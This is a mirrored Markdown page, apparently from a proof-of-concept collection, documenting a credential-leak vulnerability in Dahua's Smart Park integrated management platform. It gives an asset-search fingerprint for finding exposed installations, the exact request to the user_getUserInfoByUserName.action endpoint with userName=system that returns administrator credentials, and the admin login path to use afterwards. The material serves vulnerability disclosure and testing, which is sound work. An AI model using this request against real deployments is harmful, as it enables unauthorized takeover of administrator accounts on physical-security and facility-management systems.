mirror of
https://github.com/Threekiii/Awesome-POC.git
synced 2025-11-08 12:25:11 +00:00
35 lines
739 B
Markdown
35 lines
739 B
Markdown
|
# 大华 智慧园区综合管理平台 user_getUserInfoByUserName.action 账号密码泄漏漏洞
|
|||
|
|
|
|||
|
|
## 漏洞描述
|
|||
|
|
|
|||
|
|
大华 智慧园区综合管理平台 user_getUserInfoByUserName.action 中存在API接口，导致管理园账号密码泄漏
|
|||
|
|
|
|||
|
|
## 漏洞影响
|
|||
|
|
|
|||
|
|
智慧园区综合管理平台
|
|||
|
|
|
|||
|
|
## 网络测绘
|
|||
|
|
|
|||
|
|
```
|
|||
|
|
app="dahua-智慧园区综合管理平台"
|
|||
|
|
```
|
|||
|
|
|
|||
|
|
## 漏洞复现
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
请求POC
|
|||
|
|
|
|||
|
|
```
|
|||
|
|
/admin/user_getUserInfoByUserName.action?userName=system
|
|||
|
|
```
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
获取后访问地址
|
|||
|
|
|
|||
|
|
```
|
|||
|
|
/admin/login_login.action
|
|||
|
|
```
|
|||
|
|
|
|||
|
|
|